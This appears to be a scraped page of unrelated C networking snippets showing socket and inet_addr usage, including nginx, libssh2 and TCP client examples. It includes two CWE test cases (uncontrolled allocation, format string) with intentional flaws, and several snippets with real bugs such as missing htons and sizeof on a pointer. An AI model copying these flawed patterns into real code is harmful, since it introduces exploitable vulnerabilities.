static ngx_int_t
ngx_http_mytest_upstream_handler(ngx_http_request_t *r)
{
    
    //首先建立http上下文结构体ngx_http_mytest_ctx_t
    ngx_http_mytest_upstream_ctx_t* myctx = ngx_http_get_module_ctx(r, ngx_http_mytest_upstream_module);
    if (myctx == NULL)
    {
        myctx = ngx_palloc(r->pool, sizeof(ngx_http_mytest_upstream_ctx_t));
        if (myctx == NULL)
        {
            return NGX_ERROR;
        }
        
        //将新建的上下文与请求关联起来
        ngx_http_set_ctx(r, myctx, ngx_http_mytest_upstream_module);
    }
    
    //对每1个要使用upstream的请求,必须调用且只能调用1次
    //ngx_http_upstream_create方法,它会初始化r->upstream成员
    if (ngx_http_upstream_create(r) != NGX_OK)
    {
        ngx_log_error(NGX_LOG_ERR, r->connection->log, 0, "ngx_http_upstream_create() failed");
        return NGX_ERROR;
    }

    //得到配置结构体ngx_http_mytest_conf_t
    ngx_http_mytest_upstream_conf_t  *mycf = (ngx_http_mytest_upstream_conf_t  *) ngx_http_get_module_loc_conf(r, ngx_http_mytest_upstream_module);
    ngx_http_upstream_t *u = r->upstream;
    //这里用配置文件中的结构体来赋给r->upstream->conf成员
    u->conf = &mycf->upstream;//把我们设置好的upstream配置信息赋值给ngx_http_request_t->upstream->conf
    //决定转发包体时使用的缓冲区
    u->buffering = mycf->upstream.buffering;

    //以下代码开始初始化resolved结构体,用来保存上游服务器的地址
    u->resolved = (ngx_http_upstream_resolved_t*) ngx_pcalloc(r->pool, sizeof(ngx_http_upstream_resolved_t));
    if (u->resolved == NULL) {
        ngx_log_error(NGX_LOG_ERR, r->connection->log, 0, "ngx_pcalloc resolved error. %s.", strerror(errno));
        return NGX_ERROR;
    }

    //这里的上游服务器就是www.google.com
    static struct sockaddr_in backendSockAddr;
    struct hostent *pHost = gethostbyname((char*) "www.sina.com");
    if (pHost == NULL) {
        ngx_log_error(NGX_LOG_ERR, r->connection->log, 0, "gethostbyname fail. %s", strerror(errno));
        
        ngx_log_debugall(r->connection->log, 0, "yang test ############################MYTEST upstream gethostbyname error\n");
        return NGX_ERROR;
    }
    
    //访问上游服务器的80端口
    backendSockAddr.sin_family = AF_INET;
    backendSockAddr.sin_port = htons((in_port_t) 80);
    char* pDmsIP = inet_ntoa(*(struct in_addr*) (pHost->h_addr_list[0]));
    //char* pDmsIP = inet_ntoa(*(struct in_addr*) ("10.10.0.2"));
    backendSockAddr.sin_addr.s_addr = inet_addr(pDmsIP);
    myctx->backendServer.data = (u_char*)pDmsIP;
    myctx->backendServer.len = strlen(pDmsIP);
    ngx_log_debugall(r->connection->log, 0, "yang test ############################MYTEST upstream gethostbyname OK, addr:%s\n", pDmsIP);

    //将地址设置到resolved成员中
    u->resolved->sockaddr = (struct sockaddr *)&backendSockAddr;
    u->resolved->socklen = sizeof(struct sockaddr_in);
    u->resolved->naddrs = 1;

    //设置三个必须实现的回调方法,也就是5.3.3节至5.3.5节中实现的3个方法
    u->create_request = mytest_upstream_create_request; //构造http请求行和头部行
    u->process_header = mytest_process_status_line;
    u->finalize_request = mytest_upstream_finalize_request;

    //这里必须将count成员加1,理由见5.1.5节
/*
这里还需要执行r->main->count++,这是在告诉HTTP框架将当前请求的引用计数加1,即告诉ngx_http_mytest_handler方法暂时不要销
毁请求,因为HTTP框架只有在引用计数为0时才能真正地销毁请求。这样的话,upstream机制接下来才能接管请求的处理工作。
*/
    r->main->count++;
    //启动upstream
    ngx_http_upstream_init(r);
    //必须返回NGX_DONE
    return NGX_DONE; //这时要通过返回NGX DONE告诉HTTP框架暂停执行请求的下一个阶段
}
Ejemplo n.º 2
0
int main(int argc, char **argv)
{	
  char *cli_port;
  char *srv_addr;
  char *cli_addr;
  char *srv_port;
  char *input_file;
  //char *message = "This is the future!";	//test message
  char line[128];

  struct sockaddr_in server, client;
  struct addrinfo hints, *res;
  int sock_fd, length;
  int data_sent=0;
  //socklen_t addr_size;		   //no use
  //struct sockaddr_storage server_addr;   //no use


  
  if (argc >= 2) {
      srv_addr = argv[1];
  } else {
      srv_addr = "127.0.0.1";
  }
  
  if (argc >= 3) {
      srv_port = argv[2];
  }
  else {
      srv_port = "9999";
  }

  if(argc >= 4) {
      cli_port = argv[3];
  } else {
      cli_port = "10001";
  }

  if(argc >= 5) {
      input_file = argv[4];
  } else {
      input_file = "junk";
  }
  
  cli_addr = "127.0.0.1";

  memset(&hints, 0, sizeof hints);
  hints.ai_family = AF_UNSPEC;
  hints.ai_socktype = SOCK_STREAM;
  hints.ai_flags = AI_PASSIVE;

  FILE *file_handler = fopen(input_file,"r");
  getaddrinfo(cli_addr, cli_port, &hints, &res);  
  sock_fd = socket(res->ai_family, res->ai_socktype, res->ai_protocol);

  memset(&client, 0, sizeof (struct sockaddr_in));
  client.sin_family = AF_INET;
  client.sin_port = atoi(argv[3]);
  //client.sin_addr.s_addr = inet_addr(LOCAL_IP_ADDRESS);

  bind(sock_fd, res->ai_addr, res->ai_addrlen); 
 
  getaddrinfo(srv_addr, srv_port, &hints, &res);  
  							//  getaddrinfo(srv_addr, srv_port, &hints, &res);  
  memset(&server, 0, sizeof (struct sockaddr_in));
  server.sin_family = AF_INET;
  server.sin_port = atoi(argv[2]);
  server.sin_addr.s_addr = inet_addr(srv_addr);

  connect(sock_fd, res->ai_addr, res->ai_addrlen);
  
  printf("starting client using port %s, connecting to server %s:%s, reading file %s\n",
		  cli_port, srv_addr, srv_port, input_file);

  while(fgets(line, 128, file_handler)!=NULL)			// and connection not r
   {
    //sscanf(line,"%s");
    length = strlen(line);  
    data_sent = write(sock_fd, line, length);
    //printf("Data sent: %d\nLength of line: %d\nLine Sent: %s\nClient Port: %s\n", data_sent, length, line, cli_port);
/*    if(data_sent == -1)
     {
      printf("%s\n",errbuf);
     }*/
    printf("%d\n", data_sent);
    sleep(1);
   }
  
  printf("test3: %d \n", sock_fd);
  fclose(file_handler);
  close(sock_fd);
  return 0;
}
static bool tunnel_parse_args(int argc, char* argv[], nabto_main_setup* nms) {

    const char *tunnel_port_str;

    const char x1s[] = "h";      const char* x1l[] = { "help", 0 };
    const char x2s[] = "V";      const char* x2l[] = { "version", 0 };
    const char x3s[] = "C";      const char* x3l[] = { "config", 0 };
    const char x4s[] = "S";      const char* x4l[] = { "size", 0 };
    const char x9s[] = "d";      const char* x9l[] = { "deviceName", 0 };
    const char x10s[] = "H";     const char* x10l[] = { "tunnel_default_host", 0 }; // only used together with the tunnel.
    const char x11s[] = "P";     const char* x11l[] = { "tunnel_default_port", 0 };
    const char x12s[] = "s";     const char* x12l[] = { "use_encryption", 0 };
    const char x13s[] = "k";     const char* x13l[] = { "encryption_key", 0 };
    const char x14s[] = "p";     const char* x14l[] = { "localport", 0 };
    const char x15s[] = "a";     const char* x15l[] = { "check_acl", 0 };
    const char x16s[] = "";      const char* x16l[] = { "allow_port", 0};
    const char x17s[] = "";      const char* x17l[] = { "allow_host", 0};
    const char x18s[] = "x";     const char* x18l[] = { "nice_exit", 0};
    const char x19s[] = "";      const char* x19l[] = { "allow_all_ports", 0};
    const char x20s[] = "";      const char* x20l[] = { "test_webserver", 0};
    const char x21s[] = "l";     const char* x21l[] = { "nabtolog", 0 };
    const char x22s[] = "A";     const char* x22l[] = { "controller", 0 };
    const char x23s[] = "";      const char* x23l[] = { "disable-tcp-fb", 0 };
    const char x24s[] = "";      const char* x24l[] = { "controller-port", 0 };

    const struct { int k; int f; const char *s; const char*const* l; } opts[] = {
        { 'h', GOPT_NOARG,   x1s, x1l },
        { 'V', GOPT_NOARG,   x2s, x2l },
        { 'C', GOPT_NOARG,   x3s, x3l },
        { 'S', GOPT_NOARG,   x4s, x4l },
        { 'd', GOPT_ARG,     x9s, x9l },
        { 'H', GOPT_ARG,     x10s, x10l },
        { 'P', GOPT_ARG,     x11s, x11l },
        { 's', GOPT_NOARG,   x12s, x12l },
        { 'k', GOPT_ARG,     x13s, x13l },
        { 'p', GOPT_ARG,     x14s, x14l },
        { 'a', GOPT_NOARG,   x15s, x15l },
        { ALLOW_PORT_OPTION, GOPT_REPEAT|GOPT_ARG, x16s, x16l },
        { ALLOW_HOST_OPTION, GOPT_REPEAT|GOPT_ARG, x17s, x17l },
        { 'x', GOPT_NOARG, x18s, x18l },
        { ALLOW_ALL_PORTS_OPTION, GOPT_NOARG, x19s, x19l },
        { TEST_WEBSERVER_OPTION, GOPT_ARG, x20s, x20l },
        { 'l', GOPT_REPEAT|GOPT_ARG,  x21s, x21l },
        { 'A', GOPT_ARG, x22s, x22l },
        { DISABLE_TCP_FALLBACK_OPTION, GOPT_NOARG, x23s, x23l },
        { CONTROLLER_PORT_OPTION, GOPT_ARG, x24s, x24l },
        { 0,0,0,0 }
    };

    void *options = gopt_sort( & argc, (const char**)argv, opts);

    const char * h;
    int p;
    const char* localPortStr;
    const char* optionString;
    const char* basestationAddress;
    const char* controllerPort;
    uint32_t addr;


    if (gopt(options, 'h')) {
        printf("Usage: unabto_tunnel [options] -d devicename\n");
        printf("  -h, --help                  Print this help.\n");
        printf("  -V, --version               Print version.\n");
        printf("  -C, --config                Print configuration (unabto_config.h).\n");
        printf("  -S, --size                  Print size (in bytes) of memory usage.\n");
        printf("  -l, --nabtolog              Speficy log level such as *.trace");
        printf("  -d, --deviceName            Specify name of this device.\n");
        printf("  -H, --tunnel_default_host   Set default host name for tunnel (%s).\n", DEFAULT_HOST);
        printf("  -P, --tunnel_default_port   Set default port for tunnel (%u).\n", DEFAULT_PORT);
        printf("  -s, --use_encryption        Encrypt communication (use CRYPTO).\n");
        printf("  -k, --encryption_key        Specify encryption key.\n");
        printf("  -p, --localport             Specify port for local connections.\n");
        printf("  -A, --controller            Specify controller address\n");
        printf("      --controller-port       sets the controller port number");
        printf("  -a, --check_acl             Perform ACL check when establishing connection.\n");
        printf("      --allow_all_ports       Allow connections to all port numbers.\n");
        printf("      --allow_port            Ports that are allowed. Requires -a.\n");
        printf("      --allow_host            Hostnames that are allowed. Requires -a.\n");
        printf("  -x, --nice_exit             Close the tunnels nicely when pressing Ctrl+C.\n");
#if USE_TEST_WEBSERVER
        printf("      --test_webserver        Specify port of test webserver and enable it\n");
#endif
        printf("      --disable-tcp-fb        disable tcp fallback");
        exit(0);
    }

    if (gopt(options, 'V')) {
        printf("%d.%d\n", RELEASE_MAJOR, RELEASE_MINOR);
        exit(0);
    }

    if (gopt(options, 'C')) {
        unabto_printf_unabto_config(stdout, "unabto_tunnel");
        exit(0);
    }

    if (gopt(options, 'S')) {
        unabto_printf_memory_sizes(stdout, "unabto_tunnel");
        exit(0);
    }
    
    { 
        size_t optionsLength = gopt(options, 'l');
        int i;
        if (optionsLength > 0) {
            for (i = 0; i < optionsLength; i++) {
                optionString = gopt_arg_i(options, 'l', i);
                if (!unabto_log_system_enable_stdout_pattern(optionString)) {
                    NABTO_LOG_FATAL(("Logstring %s is not a valid logsetting", optionString));
                }
            }
        } else {
            unabto_log_system_enable_stdout_pattern("*.info");
        }
        
    } 
    

    if (!gopt_arg( options, 'd', &nms->id)) {
        NABTO_LOG_FATAL(("Specify a serverId with -d. Try -h for help."));
    }

    if(gopt_arg(options, 'H', &h)) {
        tunnel_set_default_host(h);
    }

    if (gopt_arg(options, 'P', &tunnel_port_str)) {
        if(1 != sscanf(tunnel_port_str, "%d", &p)) {
            NABTO_LOG_FATAL(("Reading of port parameter failed."));
        } else {
            tunnel_set_default_port(p);
        }
    }
     
    if( gopt_arg( options, 'p', &localPortStr) ){
        int localPort = atoi(localPortStr);
        nms->localPort = localPort;
    }


    if (gopt(options, 's')) {
        const char* preSharedKey;
        uint8_t key[16];
        memset(key, 0, 16);
        if ( gopt_arg( options, 'k', &preSharedKey)) {
            size_t i;
            size_t pskLen = strlen(preSharedKey);
            // read the pre shared key as a hexadecimal string.
            for (i = 0; i < pskLen/2 && i < 16; i++) {
                sscanf(preSharedKey+(2*i), "%02hhx", &key[i]);
            }
        }
        memcpy(nms->presharedKey,key,16);
        nms->cryptoSuite = CRYPT_W_AES_CBC_HMAC_SHA256;
        nms->secureAttach = true;
        nms->secureData = true;
    }

    if (gopt(options, 'a')) {
        check_acl = true;
    }

    if( gopt_arg( options, 'A', & basestationAddress ) ){
        addr = inet_addr(basestationAddress);
        if (addr == INADDR_NONE) {
            NABTO_LOG_FATAL(("Invalid basestation address"));
        }
        nms->controllerArg.addr = htonl(addr);
    }

    if (gopt(options, 'x')) {
        nice_exit = true;
    }

    ports_length = gopt(options, ALLOW_PORT_OPTION);
    if (ports_length > 0) {
        size_t i;
        ports = (uint16_t*) malloc(ports_length*sizeof(uint16_t));
        memset(ports,0,ports_length*sizeof(uint16_t));
        for (i = 0; i < ports_length; i++) {
            const char* opt = gopt_arg_i(options, ALLOW_PORT_OPTION, i);
            ports[i] = atoi(opt);
        }
    }
    
    hosts_length = gopt(options, ALLOW_HOST_OPTION);
    if (hosts_length > 0) {
        size_t i;
        hosts = (char**) malloc(hosts_length*sizeof(char*));
        for (i = 0; i < hosts_length; i++) {
            const char* opt = gopt_arg_i(options, ALLOW_HOST_OPTION, i);
            hosts[i] = strdup(opt);
        }
    }

    if (gopt(options, ALLOW_ALL_PORTS_OPTION)) {
        allow_all_ports = true;
    }

#if USE_TEST_WEBSERVER
    if (gopt_arg(options, TEST_WEBSERVER_OPTION, &testWebserverPortStr)) {
        testWebserver = true;
    }
#endif

#if NABTO_ENABLE_TCP_FALLBACK
    if (gopt(options, DISABLE_TCP_FALLBACK_OPTION)) {
        nms->enableTcpFallback = false;
    }
#endif

    if (gopt_arg(options, CONTROLLER_PORT_OPTION, &controllerPort)) {
        nms->controllerArg.port = atoi(controllerPort);
    }

    return true;
}
Ejemplo n.º 4
0
void CSynForcePadDlg::EviaDadosViaSocket(ULONG ul,	LONG lX, LONG lY, LONG lZ, long lForce, int evento)
{

	   // evento = 1 -> TOUCH_DOWN
	   // evento = 2 -> TOUCH_MOVE
	   // evento = 3 -> TOUCH_UP
	
	
	  		// Aqui coloco as definições do SOCKET
		int wsaret=WSAStartup(0x101,&wsaData);
	
		if(wsaret)	
			return;
		
		conn=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

		if(conn==INVALID_SOCKET)
			return;


		int porta = 123;

		sprintf(ServerNameInChar,"127.0.0.1");


		if(inet_addr((char*) ServerNameInChar)==INADDR_NONE)
		{
			hp=gethostbyname(ServerNameInChar);
		}
		else
		{
			addr=inet_addr(ServerNameInChar);
			hp=gethostbyaddr((char*)&addr,sizeof(addr),AF_INET);
		}
		if(hp==NULL)
		{
			closesocket(conn);
			return;
		}

		server.sin_addr.s_addr=*((unsigned long*)hp->h_addr);
		server.sin_family=AF_INET;
		server.sin_port=htons(porta);

		if(connect(conn,(struct sockaddr*)&server,sizeof(server)))
		{
			closesocket(conn);
			return;	
		}

	    // Fim da inicialização do socket

	
		// SEQUENCIA DE DADOS: Finger %d, XRaw %d, YRaw %d, ZRaw %d, Force %d, evento
	// sprintf(buff,"Ola DADOS: Finger %d, XRaw %d, YRaw %d, ZRaw %d, Force %d",ul, lX, lY, lZ, lForce);
	// sprintf(buff,"Ola DADOS: Finger %d, X %d, Y %d, Z %d, F %d, E %d",ul, lX, lY, lZ, lForce, evento);

		sprintf(buff,"Ola %d,%d,%d,%d,%d,%d",ul, lX, lY, lZ, lForce, evento);
	send(conn,buff,strlen(buff),0);


	 // Finalizações do socket
 closesocket(conn);

 WSACleanup();

 
}
void CWE789_Uncontrolled_Mem_Alloc__malloc_wchar_t_connect_socket_44_bad()
{
    size_t data;
    /* define a function pointer */
    void (*funcPtr) (size_t) = badSink;
    /* Initialize data */
    data = 0;
    {
#ifdef _WIN32
        WSADATA wsaData;
        int wsaDataInit = 0;
#endif
        int recvResult;
        struct sockaddr_in service;
        SOCKET connectSocket = INVALID_SOCKET;
        char inputBuffer[CHAR_ARRAY_SIZE];
        do
        {
#ifdef _WIN32
            if (WSAStartup(MAKEWORD(2,2), &wsaData) != NO_ERROR)
            {
                break;
            }
            wsaDataInit = 1;
#endif
            /* POTENTIAL FLAW: Read data using a connect socket */
            connectSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
            if (connectSocket == INVALID_SOCKET)
            {
                break;
            }
            memset(&service, 0, sizeof(service));
            service.sin_family = AF_INET;
            service.sin_addr.s_addr = inet_addr(IP_ADDRESS);
            service.sin_port = htons(TCP_PORT);
            if (connect(connectSocket, (struct sockaddr*)&service, sizeof(service)) == SOCKET_ERROR)
            {
                break;
            }
            /* Abort on error or the connection was closed, make sure to recv one
             * less char than is in the recv_buf in order to append a terminator */
            recvResult = recv(connectSocket, inputBuffer, CHAR_ARRAY_SIZE - 1, 0);
            if (recvResult == SOCKET_ERROR || recvResult == 0)
            {
                break;
            }
            /* NUL-terminate the string */
            inputBuffer[recvResult] = '\0';
            /* Convert to unsigned int */
            data = strtoul(inputBuffer, NULL, 0);
        }
        while (0);
        if (connectSocket != INVALID_SOCKET)
        {
            CLOSE_SOCKET(connectSocket);
        }
#ifdef _WIN32
        if (wsaDataInit)
        {
            WSACleanup();
        }
#endif
    }
    /* use the function pointer */
    funcPtr(data);
}
Ejemplo n.º 6
0
int main(int argc, char * argv[])
{
  int sock, result, TCP_PORT;
  //struct sockaddr_in server, client;
  char word_f[MAXBUF];
  //char word_b[MAXBUF];
  struct sockaddr_in address;


  if( argc != 3 )
	{
		printf("USAGE: %s hostname port\n",argv[0]);
		exit(-1);
	}

  TCP_PORT = atoi(argv[2]);

  sock = socket(AF_INET, SOCK_STREAM, 0);
  if( sock < 0)
  {
    perror("creating stream socket");
    exit(1);
  }

  address.sin_family = AF_INET;
  address.sin_addr.s_addr = inet_addr(argv[1]);
  address.sin_port = htons(TCP_PORT);
  //len = sizeof(address);

  result = connect(sock, (struct sockaddr *)&address, sizeof(address));
  if(result == -1) {
      perror("Error on client");
      exit(1);
  }
  printf("Enter word: ");
  while (fgets (word_f, MAXBUF, stdin) != NULL)
  {
    char *temp;
    temp = strtok (word_f, "\n");


    int w;
    w = write (sock, temp, sizeof(temp));
    if (w<0)
    {
      perror ("Writing message");
      exit(1);
    }

    // Added this for exiting the client
    if (strcmp (temp, "-exit")==0){
      printf("Exiting...\n");
      close(sock);
      exit(0);
    }

    int r, tf;
    r = read (sock, &tf, sizeof(int));
    if (r<0)
    {
      perror ("Reading message");
      exit(1);
    }

    if (tf) {
      printf ("The word %s is spelled correctly\n", temp);
    }
    else {
      printf ("The word %s is spelled incorrectly\n", temp);
      int r2;
      char list[10][MAXBUF];
      r2 = read (sock, list, sizeof(list));
      if (r2<0)
      {
        perror ("Reading message");
        exit(1);
      }
      for (int i=0; i<10; i++) {
        if (list[i][0]!='\0'){
          printf("%s\n", list[i]);
        }
      }

    }


    printf("\nEnter word: ");

   }
  //return 0;
}
Ejemplo n.º 7
0
int main(int argc, char *argv[])
{
    const char *hostname = "127.0.0.1";
    const char *commandline = "uptime";
    const char *username    = "******";
    const char *password    = "******";
    unsigned long hostaddr;
    int sock;
    struct sockaddr_in sin;
    const char *fingerprint;
    LIBSSH2_SESSION *session;
    LIBSSH2_CHANNEL *channel;
    int rc;
    int exitcode;
    char *exitsignal=(char *)"none";
    int bytecount = 0;
    size_t len;
    LIBSSH2_KNOWNHOSTS *nh;
    int type;

#ifdef WIN32
    WSADATA wsadata;
    WSAStartup(MAKEWORD(2,0), &wsadata);
#endif
    if (argc > 1)
        /* must be ip address only */
        hostname = argv[1];

    if (argc > 2) {
        username = argv[2];
    }
    if (argc > 3) {
        password = argv[3];
    }
    if (argc > 4) {
        commandline = argv[4];
    }

    rc = libssh2_init (0);
    if (rc != 0) {
        fprintf (stderr, "libssh2 initialization failed (%d)\n", rc);
        return 1;
    }

    hostaddr = inet_addr(hostname);

    /* Ultra basic "connect to port 22 on localhost"
     * Your code is responsible for creating the socket establishing the
     * connection
     */
    sock = socket(AF_INET, SOCK_STREAM, 0);

    sin.sin_family = AF_INET;
    sin.sin_port = htons(22);
    sin.sin_addr.s_addr = hostaddr;
    if (connect(sock, (struct sockaddr*)(&sin),
                sizeof(struct sockaddr_in)) != 0) {
        fprintf(stderr, "failed to connect!\n");
        return -1;
    }

    /* Create a session instance */
    session = libssh2_session_init();
    if (!session)
        return -1;

    /* tell libssh2 we want it all done non-blocking */
    libssh2_session_set_blocking(session, 0);

    /* ... start it up. This will trade welcome banners, exchange keys,
     * and setup crypto, compression, and MAC layers
     */
    while ((rc = libssh2_session_handshake(session, sock)) ==
           LIBSSH2_ERROR_EAGAIN);
    if (rc) {
        fprintf(stderr, "Failure establishing SSH session: %d\n", rc);
        return -1;
    }

    nh = libssh2_knownhost_init(session);
    if(!nh) {
        /* eeek, do cleanup here */
        return 2;
    }

    /* read all hosts from here */
    libssh2_knownhost_readfile(nh, "known_hosts",
                               LIBSSH2_KNOWNHOST_FILE_OPENSSH);

    /* store all known hosts to here */
    libssh2_knownhost_writefile(nh, "dumpfile",
                                LIBSSH2_KNOWNHOST_FILE_OPENSSH);

    fingerprint = libssh2_session_hostkey(session, &len, &type);
    if(fingerprint) {
        struct libssh2_knownhost *host;
#if LIBSSH2_VERSION_NUM >= 0x010206
        /* introduced in 1.2.6 */
        int check = libssh2_knownhost_checkp(nh, hostname, 22,
                                             fingerprint, len,
                                             LIBSSH2_KNOWNHOST_TYPE_PLAIN|
                                             LIBSSH2_KNOWNHOST_KEYENC_RAW,
                                             &host);
#else
        /* 1.2.5 or older */
        int check = libssh2_knownhost_check(nh, hostname,
                                            fingerprint, len,
                                            LIBSSH2_KNOWNHOST_TYPE_PLAIN|
                                            LIBSSH2_KNOWNHOST_KEYENC_RAW,
                                            &host);
#endif
        fprintf(stderr, "Host check: %d, key: %s\n", check,
                (check <= LIBSSH2_KNOWNHOST_CHECK_MISMATCH)?
                host->key:"<none>");

        /*****
         * At this point, we could verify that 'check' tells us the key is
         * fine or bail out.
         *****/
    }
    else {
        /* eeek, do cleanup here */
        return 3;
    }
    libssh2_knownhost_free(nh);

    if ( strlen(password) != 0 ) {
        /* We could authenticate via password */
        while ((rc = libssh2_userauth_password(session, username, password)) ==
               LIBSSH2_ERROR_EAGAIN);
        if (rc) {
            fprintf(stderr, "Authentication by password failed.\n");
            goto shutdown;
        }
    }
    else {
        /* Or by public key */
        while ((rc = libssh2_userauth_publickey_fromfile(session, username,
                                                         "/home/user/"
                                                         ".ssh/id_rsa.pub",
                                                         "/home/user/"
                                                         ".ssh/id_rsa",
                                                         password)) ==
               LIBSSH2_ERROR_EAGAIN);
        if (rc) {
            fprintf(stderr, "\tAuthentication by public key failed\n");
            goto shutdown;
        }
    }

#if 0
    libssh2_trace(session, ~0 );
#endif

    /* Exec non-blocking on the remove host */
    while( (channel = libssh2_channel_open_session(session)) == NULL &&
           libssh2_session_last_error(session,NULL,NULL,0) ==
           LIBSSH2_ERROR_EAGAIN )
    {
        waitsocket(sock, session);
    }
    if( channel == NULL )
    {
        fprintf(stderr,"Error\n");
        exit( 1 );
    }
    while( (rc = libssh2_channel_exec(channel, commandline)) ==
           LIBSSH2_ERROR_EAGAIN )
    {
        waitsocket(sock, session);
    }
    if( rc != 0 )
    {
        fprintf(stderr,"Error\n");
        exit( 1 );
    }
    for( ;; )
    {
        /* loop until we block */
        int rc;
        do
        {
            char buffer[0x4000];
            rc = libssh2_channel_read( channel, buffer, sizeof(buffer) );
            if( rc > 0 )
            {
                int i;
                bytecount += rc;
                fprintf(stderr, "We read:\n");
                for( i=0; i < rc; ++i )
                    fputc( buffer[i], stderr);
                fprintf(stderr, "\n");
            }
            else {
                if( rc != LIBSSH2_ERROR_EAGAIN )
                    /* no need to output this for the EAGAIN case */
                    fprintf(stderr, "libssh2_channel_read returned %d\n", rc);
            }
        }
        while( rc > 0 );

        /* this is due to blocking that would occur otherwise so we loop on
           this condition */
        if( rc == LIBSSH2_ERROR_EAGAIN )
        {
            waitsocket(sock, session);
        }
        else
            break;
    }
    exitcode = 127;
    while( (rc = libssh2_channel_close(channel)) == LIBSSH2_ERROR_EAGAIN )
        waitsocket(sock, session);

    if( rc == 0 )
    {
        exitcode = libssh2_channel_get_exit_status( channel );
        libssh2_channel_get_exit_signal(channel, &exitsignal,
                                        NULL, NULL, NULL, NULL, NULL);
    }

    if (exitsignal)
        fprintf(stderr, "\nGot signal: %s\n", exitsignal);
    else 
        fprintf(stderr, "\nEXIT: %d bytecount: %d\n", exitcode, bytecount);

    libssh2_channel_free(channel);
    channel = NULL;

shutdown:

    libssh2_session_disconnect(session,
                               "Normal Shutdown, Thank you for playing");
    libssh2_session_free(session);

#ifdef WIN32
    closesocket(sock);
#else
    close(sock);
#endif
    fprintf(stderr, "all done\n");

    libssh2_exit();

    return 0;
}
void CWE134_Uncontrolled_Format_String__wchar_t_connect_socket_vfprintf_32_bad()
{
    wchar_t * data;
    wchar_t * *dataPtr1 = &data;
    wchar_t * *dataPtr2 = &data;
    wchar_t dataBuffer[100] = L"";
    data = dataBuffer;
    {
        wchar_t * data = *dataPtr1;
        {
#ifdef _WIN32
            WSADATA wsaData;
            int wsaDataInit = 0;
#endif
            int recvResult;
            struct sockaddr_in service;
            wchar_t *replace;
            SOCKET connectSocket = INVALID_SOCKET;
            size_t dataLen = wcslen(data);
            do
            {
#ifdef _WIN32
                if (WSAStartup(MAKEWORD(2,2), &wsaData) != NO_ERROR)
                {
                    break;
                }
                wsaDataInit = 1;
#endif
                /* POTENTIAL FLAW: Read data using a connect socket */
                connectSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
                if (connectSocket == INVALID_SOCKET)
                {
                    break;
                }
                memset(&service, 0, sizeof(service));
                service.sin_family = AF_INET;
                service.sin_addr.s_addr = inet_addr(IP_ADDRESS);
                service.sin_port = htons(TCP_PORT);
                if (connect(connectSocket, (struct sockaddr*)&service, sizeof(service)) == SOCKET_ERROR)
                {
                    break;
                }
                /* Abort on error or the connection was closed, make sure to recv one
                 * less char than is in the recv_buf in order to append a terminator */
                /* Abort on error or the connection was closed */
                recvResult = recv(connectSocket, (char *)(data + dataLen), sizeof(wchar_t) * (100 - dataLen - 1), 0);
                if (recvResult == SOCKET_ERROR || recvResult == 0)
                {
                    break;
                }
                /* Append null terminator */
                data[dataLen + recvResult / sizeof(wchar_t)] = L'\0';
                /* Eliminate CRLF */
                replace = wcschr(data, L'\r');
                if (replace)
                {
                    *replace = L'\0';
                }
                replace = wcschr(data, L'\n');
                if (replace)
                {
                    *replace = L'\0';
                }
            }
            while (0);
            if (connectSocket != INVALID_SOCKET)
            {
                CLOSE_SOCKET(connectSocket);
            }
#ifdef _WIN32
            if (wsaDataInit)
            {
                WSACleanup();
            }
#endif
        }
        *dataPtr1 = data;
    }
    {
        wchar_t * data = *dataPtr2;
        badVaSink(data, data);
    }
}
Ejemplo n.º 9
0
int __cdecl main(int argc, char *argv[])
{

    WORD VersionRequested = MAKEWORD(2, 2);
    WSADATA WsaData;
    int err;
    int InvalidSocketID = -1; /*set an invalid socket descriptor*/
    struct sockaddr_in mySockaddr;
    const char *data = "sendto and recvfrom test";
    int nBuffer=strlen(data);

    /*Initialize the PAL environment*/
    err = PAL_Initialize(argc, argv);
    if(0 != err)
    {
        return FAIL;
    }
    /*initialize to use winsock2 .dll*/
    err = WSAStartup(VersionRequested, &WsaData);
    if(err != 0)
    {
        Fail("\nFailed to find a usable WinSock DLL!\n");
    }

    /*Confirm that the WinSock DLL supports 2.2.*/
    if(LOBYTE( WsaData.wVersion ) != 2 ||
            HIBYTE( WsaData.wVersion ) != 2)
    {
        Trace("\nFailed to find a usable WinSock DLL!\n");
        err = WSACleanup();
        if(SOCKET_ERROR == err)
        {
            Trace("\nFailed to call WSACleanup API!\n");
       }
        Fail("");
    }

    /*prepare the sockaddr_in structure*/
    mySockaddr.sin_family = AF_INET;
    mySockaddr.sin_port = getRotorTestPort();
    mySockaddr.sin_addr.S_un.S_addr = inet_addr("127.0.0.1");
    memset(&(mySockaddr.sin_zero), 0, 8);


    /*call sendto by passing an invalid socket*/
    err=sendto(InvalidSocketID, data, nBuffer, 0, 
                (struct sockaddr *)&mySockaddr, sizeof(struct sockaddr));

    if(WSAENOTSOCK != GetLastError() || SOCKET_ERROR != err)
    {
        Trace("\nFailed to call sendto API for a negative test "
                "by passing invalid socket!\n");
	
        err = WSACleanup();
        if(SOCKET_ERROR == err)
        {
            Trace("\nFailed to call WSACleanup API!\n");
        }
        Fail("");
    }

    err = WSACleanup();
    if(SOCKET_ERROR == err)
    {
        Fail("\nFailed to call WSACleanup API!\n");
    }

    PAL_Terminate();
    return PASS;
}
Ejemplo n.º 10
0
void connection_init(){
    pthread_mutex_init(&mutex,NULL); 
    int sock,sock_r;
    struct sockaddr_in sa;
    int bytes_sent;
    int s = sizeof(sa);
    char buffer[1024];
    char buffer2[1024];
    char buffer3[1024];
    bzero(buffer3,1024);
    
    strcpy(buffer,"Noen gangstas her?");
    strcpy(buffer2,"Halla");
    clients = 0;
    int fd;
    struct ifreq ifr;
    fd = socket(AF_INET, SOCK_DGRAM, 0);
    ifr.ifr_addr.sa_family = AF_INET;
    strncpy(ifr.ifr_name, "eth0", IFNAMSIZ-1);
    ioctl(fd, SIOCGIFBRDADDR, &ifr);
    close(fd);

    char* BROADCASTIP = inet_ntoa(((struct sockaddr_in *)&ifr.ifr_broadaddr)->sin_addr);
    printf("%s\n",BROADCASTIP);

    //Set up socket
    sock = socket(AF_INET, SOCK_DGRAM, 0);
    int broadcastEnable=1;
    int ret=setsockopt(sock, SOL_SOCKET, SO_BROADCAST, &broadcastEnable, sizeof(broadcastEnable));
    if (-1 == sock) {
        printf("Error Creating Socket");
        exit(EXIT_FAILURE);
      }
 
    memset(&sa, 0, sizeof sa);
  
    sa.sin_family = AF_INET;
    sa.sin_addr.s_addr = inet_addr(&BROADCASTIP);
